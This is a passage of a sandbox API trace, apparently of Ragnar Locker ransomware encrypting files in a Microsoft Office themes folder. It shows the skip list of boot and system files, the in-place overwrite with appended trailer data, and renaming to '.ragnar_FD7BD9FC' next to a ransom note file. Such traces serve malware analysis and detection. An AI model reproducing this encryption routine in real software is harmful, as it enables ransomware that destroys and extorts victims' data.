Files\\Microsoft Shared\\THEMES14\\SLATE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*" [0076.584] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.584] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.584] lstrcpyW (in: lpString1=0x1ea758, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fe35c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fe35c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.584] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0076.584] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fe35c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fe35c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.584] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0076.584] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0076.584] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.584] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0076.584] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0076.584] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe35c20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fe35c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.584] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0076.585] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0076.585] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0076.585] lstrcmpiW (lpString1="SLATE.ELM", lpString2=".") returned 1 [0076.585] lstrcmpiW (lpString1="SLATE.ELM", lpString2="..") returned 1 [0076.585] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0076.585] lstrcmpiW (lpString1="SLATE.INF", lpString2=".") returned 1 [0076.585] lstrcmpiW (lpString1="SLATE.INF", lpString2="..") returned 1 [0076.585] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.585] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0076.585] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0076.585] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.585] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fe35c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fe35c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.585] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7fe35c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7fe35c20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.585] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.585] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.585] lstrcpyW (in: lpString1=0x1eab6c, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0076.585] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned=".GIF" [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0076.585] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0076.586] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0076.586] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0076.586] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0076.586] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0076.586] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0076.586] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0076.586] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0076.586] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0076.586] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0076.586] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0076.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0076.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.587] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1009) returned 1 [0076.587] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.587] GetProcessHeap () returned 0x580000 [0076.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.587] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.589] VirtualAlloc (lpAddress=0x0, dwSize=0x3f1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.589] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3f1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3f1, lpOverlapped=0x0) returned 1 [0076.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.589] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.589] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3f1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3f1, lpOverlapped=0x0) returned 1 [0076.589] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.589] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.589] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.589] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.590] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.590] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.590] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.590] GetProcessHeap () returned 0x580000 [0076.590] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.590] CloseHandle (hObject=0x10c) returned 1 [0076.590] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" [0076.590] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0076.590] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.592] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe35c20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7fe35c20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.592] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0076.592] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\RGNR_FD7BD9FC.txt") returned=".txt" [0076.592] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0076.592] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0076.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0076.592] lstrcpyW (in: lpString1=0x1eab6c, lpString2="SLATE.ELM" | out: lpString1="SLATE.ELM") returned="SLATE.ELM" [0076.592] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM") returned=".ELM" [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="autorun.inf") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="boot.ini") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="bootfont.bin") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="bootsect.bak") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="bootmgr") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="bootmgr.efi") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="bootmgfw.efi") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="desktop.ini") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="iconcache.db") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="ntldr") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="ntuser.dat") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="ntuser.dat.log") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="ntuser.ini") returned 1 [0076.592] lstrcmpiW (lpString1="SLATE.ELM", lpString2="thumbs.db") returned -1 [0076.592] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0076.592] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0076.592] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0076.592] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0076.592] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0076.592] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0076.592] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0076.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm")) returned 0x20 [0076.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.593] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=85056) returned 1 [0076.593] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x14c37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.594] GetProcessHeap () returned 0x580000 [0076.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.594] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.595] VirtualAlloc (lpAddress=0x0, dwSize=0x14c40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.595] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.595] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.595] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14c40, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x14c40, lpOverlapped=0x0) returned 1 [0076.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.598] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14c40, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.598] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14c40, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x14c40, lpOverlapped=0x0) returned 1 [0076.598] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14c40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.599] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.599] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x14c40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.599] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.599] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.599] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.599] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.599] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.599] GetProcessHeap () returned 0x580000 [0076.599] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.600] CloseHandle (hObject=0x10c) returned 1 [0076.600] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" [0076.600] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.ragnar_FD7BD9FC" [0076.600] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.600] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, 